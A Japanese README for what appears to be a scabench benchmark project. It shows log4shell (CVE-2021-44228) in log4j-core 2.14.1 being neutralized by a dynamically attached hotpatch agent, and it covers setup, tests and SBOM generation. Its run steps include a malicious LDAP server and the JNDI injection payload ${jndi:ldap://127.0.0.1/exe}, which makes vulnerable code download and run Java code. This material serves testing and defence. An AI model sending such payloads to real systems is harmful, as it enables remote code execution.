
これは、サニタイズされた log4shell 脆弱性を持つシンプルな Web プロジェクトです。サニタイズされていないバージョンについては、https://github.com/scabench/l4j-tp1/ を参照してください。
このプロジェクトは、プレーンテキスト文字列 hello world を返すシンプルな scabench.HelloWorldService GET サービスを定義しています。
このサービスはパラメータを想定しておらず、パラメータが渡されるとエラーがログに記録されます。
脆弱な依存関係は org.apache.logging.log4j:log4j-core:2.14.1 で、脆弱性は CVE-2021-44228 です。
このプロジェクトは、log4shell が出現しパッチが利用できなかった際に、Amazon 製エージェント を使用します。
このエージェントは、脆弱なクラス org.apache.logging.log4j.core.lookup.JndiLookup を無効化します。
エージェントの使用は、scabench.HelloWorldService がロードされるとき(クラスの static ブロック内)にエージェントを動的にインストール(別名アタッチ)することで強制されます。
これが失敗すると、アプリケーションはクラッシュします。このためには、JVM がエージェントの自己アタッチを有効にしている必要があります。
export MAVEN_OPTS="-Djdk.attach.allowAttachSelf=true"mvn jetty:runjava -jar dodgy-ldap-server.jar(脆弱なコードはこのサーバーから Java コードをダウンロードします)http://localhost:8080/ を開きます。このサイトには、悪意のあるペイロード ${jndi:ldap://127.0.0.1/exe} が入力済みのフォームがありますfoo は作成されませんアプリケーションを実行すると、コンソールに次の行が表示されることに注意してください:
Transforming org/apache/logging/log4j/core/lookup/JndiLookup .
これには Unix または macOS が必要です。このプロジェクトを Windows に移植するのは簡単です。 この脆弱性を実証するための単体テストが提供されており、セットアップは https://github.com/scabench/l4j-tp1/ と同じです。サニタイズのため、 このテストは現在 失敗 します。
さまざまな分析を実行するための sh スクリプトがいくつかあります。結果レポートは scan-results にあります。
pom.xml には、CycloneDX 形式で SBOM を生成するプラグインがあります。
これを行うには、mvn cyclonedx:makePackageBom を実行します。SBOM は
target/ 内に json 形式と xml 形式であります。